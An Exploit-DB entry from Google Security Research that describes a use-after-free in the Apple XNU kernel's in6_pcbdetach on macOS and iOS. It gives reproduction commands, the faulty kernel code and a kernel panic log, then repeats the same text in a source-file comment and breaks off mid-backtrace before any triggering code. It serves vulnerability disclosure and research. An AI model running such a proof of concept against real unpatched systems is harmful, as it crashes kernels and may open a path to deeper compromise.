Exploit-DB #46892
Description: Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free
Type: dos
Platform: multiple
Date: 2019-05-21
Author: Google Security Research

Exploit:
# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]

# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
    // ...
	if (!(so->so_flags & SOF_PCBCLEARING)) {
		struct ip_moptions *imo;
		struct ip6_moptions *im6o;

		inp->inp_vflag = 0;
		if (inp->in6p_options != NULL) {
			m_freem(inp->in6p_options);
			inp->in6p_options = NULL; // <- good
		}
		ip6_freepcbopts(inp->in6p_outputopts); // <- bad
		ROUTE_RELEASE(&inp->in6p_route);
		// free IPv4 related resources in case of mapped addr
		if (inp->inp_options != NULL) {
			(void) m_free(inp->inp_options); // <- good
			inp->inp_options = NULL;
		}
```

Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.

This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.

# Crash Log
panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff[PII_REDACTED], type 13=general protection, registers:
CR0: 0x[PII_REDACTED]010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x[PII_REDACTED]3626e0
RAX: 0x[PII_REDACTED]000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x[PII_REDACTED]000000, RDX: 0x[PII_REDACTED]000000
RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x[PII_REDACTED]000000, RDI: 0x[PII_REDACTED]000001
R8:  0x[PII_REDACTED]000000, R9:  0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x[PII_REDACTED]000000
R12: 0x[PII_REDACTED]000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x[PII_REDACTED]000000
RFL: 0x[PII_REDACTED]010282, RIP: 0xffffff[PII_REDACTED], CS:  0x[PII_REDACTED]000008, SS:  0x[PII_REDACTED]000010
Fault CR2: 0x00007f9ae1801000, Error code: 0x[PII_REDACTED]000000, Fault CPU: 0x4, PL: 0, VF: 0

Backtrace (CPU 4), Frame : Return Address
0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa
0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63
0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d
0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e6d0 : 0xffffff[PII_REDACTED] mach_kernel : _in6_selectsrc + 0x114
0xffffffa3ffa5bdc0 : 0xffffff[PII_REDACTED] mach_kernel : _nd6_setdefaultiface + 0xd75
0xffffffa3ffa5be20 : 0xffffff[PII_REDACTED] mach_kernel : _soconnectlock + 0x284
0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f
0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16

BSD process name corresponding to current thread: in6_selectsrc
Boot args: keepsyms=1 -v=1

Mac OS version:
18D109


#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>
#include <netinet/in.h>
#include <errno.h>

/*
# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]

# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
    // ...
	if (!(so->so_flags & SOF_PCBCLEARING)) {
		struct ip_moptions *imo;
		struct ip6_moptions *im6o;

		inp->inp_vflag = 0;
		if (inp->in6p_options != NULL) {
			m_freem(inp->in6p_options);
			inp->in6p_options = NULL; // <- good
		}
		ip6_freepcbopts(inp->in6p_outputopts); // <- bad
		ROUTE_RELEASE(&inp->in6p_route);
		// free IPv4 related resources in case of mapped addr
		if (inp->inp_options != NULL) {
			(void) m_free(inp->inp_options); // <- good
			inp->inp_options = NULL;
		}
```

Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.

This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.

# Crash Log
panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff[PII_REDACTED], type 13=general protection, registers:
CR0: 0x[PII_REDACTED]010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x[PII_REDACTED]3626e0
RAX: 0x[PII_REDACTED]000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x[PII_REDACTED]000000, RDX: 0x[PII_REDACTED]000000
RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x[PII_REDACTED]000000, RDI: 0x[PII_REDACTED]000001
R8:  0x[PII_REDACTED]000000, R9:  0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x[PII_REDACTED]000000
R12: 0x[PII_REDACTED]000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x[PII_REDACTED]000000
RFL: 0x[PII_REDACTED]010282, RIP: 0xffffff[PII_REDACTED], CS:  0x[PII_REDACTED]000008, SS:  0x[PII_REDACTED]000010
Fault CR2: 0x00007f9ae1801000, Error code: 0x[PII_REDACTED]000000, Fault CPU: 0x4, PL: 0, VF: 0

Backtrace (CPU 4), Frame : Return Address
0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153
0xff